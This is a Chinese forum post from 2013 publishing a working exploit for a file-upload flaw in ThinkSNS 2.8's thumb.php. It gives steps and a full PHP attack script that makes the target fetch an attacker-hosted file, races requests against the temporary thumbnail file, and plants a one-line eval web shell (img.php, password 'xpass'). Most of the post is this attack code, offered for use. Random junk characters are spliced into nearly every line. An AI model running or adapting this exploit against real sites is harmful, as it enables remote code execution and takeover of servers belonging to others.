找回密码
 立即注册
查看: 2593|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
$ D7 q1 I6 x& Q存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)) g. T8 y% U/ k2 ^1 M, `
漏洞文件! u+ v% u$ F, w8 V
存在漏洞的文件为:thumb.php
1 R6 B# }/ Y3 S( F作者:韦鲲鹏
1 P  ~% h, }) m& e0 ?1、        准备如下PHP文件并上传到服务器(自己的)。
+ ~- Z) N' |3 f( x文件内容如下:- T" y- |5 T+ v, I/ h/ Z
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>; v- Z! D$ R$ K5 f  p/ ^
2、        计算出临时的文件名:! K% o% w/ l9 o! G/ g
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
/ v  ?8 ^9 ]# f& s& s6 x
6 V2 d  Q& W/ q4 q# i0 J3、        上传临时文件。
* c* H$ I% C+ p, c) R/ U4、        访问临时文件。7 `; f- p8 v* y
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): W$ [! X# B4 O! e% |! E$ _
Exploit文件内容如下:(这个我就不详细解释了)* t) M' F+ f3 _; j. A
<?php
1 x8 W6 I8 g( g! J1 Serror_reporting(0);, _' Q; t+ \1 h. n
set_time_limit(0);2 g' o7 \' |9 w& b, f
ini_set(“default_socket_timeout”, 5);& z# [" J+ y5 ^
function http_send($host, $port, $headers) {% [* Z1 m/ p, Z( ^
$fp = fsockopen($host, $port);
5 @: s2 t& F" S* jif (!$fp) die(‘Connection -> fail’);
1 c5 o0 w5 K+ t9 Q; Ofputs($fp, $headers);8 c* g! ~6 C- u
return $fp;
! n, V* N" }& E; ?' y  W3 }" J* [}* k4 F8 l# R2 B8 X. r9 g6 F1 Z2 V- g
function http_recv($fp) {( i% u' d+ R. m: h* i5 x
$ret=”";6 P0 J9 l9 F2 x) \/ S0 j
while (!feof($fp))
6 F1 [/ c; a& }1 c# S$ret.= fgets($fp, 1024);% H! T# b  b  k, M; f$ e
fclose($fp);8 u4 b& H9 R3 G# x0 r6 H" j1 T
return $ret;
& l5 F2 b1 u0 T6 u}
! T1 E$ a+ L+ g; W3 R5 E) H3 lprint “\n#  ThinkSns Arbitrary File Upload   #\n”;6 p4 W, G1 K1 G: L& z9 T
print “# Discovered by 韦鲲鹏 #\n\n”;4 M9 o3 l, p8 o0 r) d6 K3 V
if ($argc < 4) {
* G; l+ _! M& r% d8 Y  g6 r$ Vprint “Usage:   php <host> <path> <romote_url>\n”;! C5 B- _  F2 m- B9 g
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: P# T9 z4 x3 h; L1 y% o8 k: Pdie();7 D2 O" r/ a  j$ V  w* Z2 d# m
}% s$ _& B) ^0 }3 n
$host = $argv[1];* X" T8 h0 ^2 e: w
$path = $argv[2];
+ V: N& K3 w, N$url = $argv[3];- t4 k3 U) X( T) Z2 a
$i=0;& u* [4 Q+ k9 ?/ s
//上传数据包
0 f7 U: m: V# E1 L7 d$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
  N% s; ^$ u1 u$ ^3 Y& d$headers_up .= “Host: “.$host.”\r\n”;
8 U7 \8 G! q, n% A$headers_up .= “Connection: close\r\n\r\n”;
3 I, G. q9 ]. Decho $headers_up;- _/ ]4 {3 r+ G  a. L1 ]4 ~
//临时文件访问数据包
; J$ u( x* f$ P/ B$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;( _+ n0 ?- V7 S9 h: Q2 s' A2 {
$headers .= “Host: “.$host.”\r\n”;( t) |  S. q% z( X
$headers .= “Connection: close\r\n\r\n”;
+ `$ g; |  y0 G. R* }echo $headers;* W! Y: d( e$ b- q2 V
while(++$i<10) {
; M6 y# K8 k: ^: j" T0 Afclose(http_send($host, 80, $headers));$ A) E' @0 _- @; i& T
}
3 p9 @5 O# \- U+ Efclose(http_send($host, 80, $headers_up));
6 a2 ]  k1 I6 y" A- ^8 g' g" ~while(++$i<50) {3 t) ~, m- A; _- J" l0 k
fclose(http_send($host, 80, $headers));+ N7 y  d& c3 K" a& \- W" c
}; C! }- Z" T. g# b" v4 |
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;* a& ^! n& {. W9 C4 _: e, S) ?
$headers .= “Host: “.$host.”\r\n”;
, ~8 i7 t/ N3 K1 e) ?5 A$headers .= “Connection: close\r\n\r\n”;- p5 Q( S/ N4 y! J3 A
$res=http_recv(http_send($host, 80, $headers));8 s% O; z0 `: W( Z  m! @
if(preg_match(‘/200 OK/’,$res)) {
. n# o, i" t6 f: }7 b  q' U+ gprint “Success!\n\n”;! ?2 T- N( z" T2 S- W1 J/ G
} else {' @: ?- p2 U) ]; C& K' y3 G# C" l
print “Fail!\n\n”;/ W+ _) Y1 Q0 V' Y7 r& K0 b6 S8 Y9 E
}
, b. Q; w9 z9 b! J?>1 O- T8 Y7 I7 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表